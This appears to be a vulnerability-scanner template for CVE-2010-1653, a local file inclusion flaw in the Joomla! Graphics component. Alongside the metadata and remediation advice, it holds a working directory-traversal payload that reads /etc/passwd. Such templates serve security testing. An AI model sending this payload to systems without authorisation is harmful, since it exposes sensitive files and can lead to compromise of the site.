id: CVE-2010-1653

info:
  name: Joomla! Component Graphics 1.0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the entire Joomla! installation.
  remediation: |
    Update Joomla! Component Graphics to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12430
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1653
    - http://packetstormsecurity.org/1004-exploits/joomlagraphics-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1004
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1653
    cwe-id: CWE-22
    epss-score: 0.13373
    epss-percentile: 0.96027
    cpe: cpe:2.3:a:htmlcoderhelper:com_graphics:1.0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: htmlcoderhelper
    product: com_graphics
  tags: cve,cve2010,edb,packetstorm,joomla,lfi,htmlcoderhelper,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201fe90e229e7e66d9088598b5ee9b1cfb3f14ad265ee36d80304caff593fe7b45022100f9aeda2dd10d6a14d92c2cfd59c4b049c5e05d15e6fd7ca72d1c6d9f214737de:922c64590222798bb761d5b6d8e72950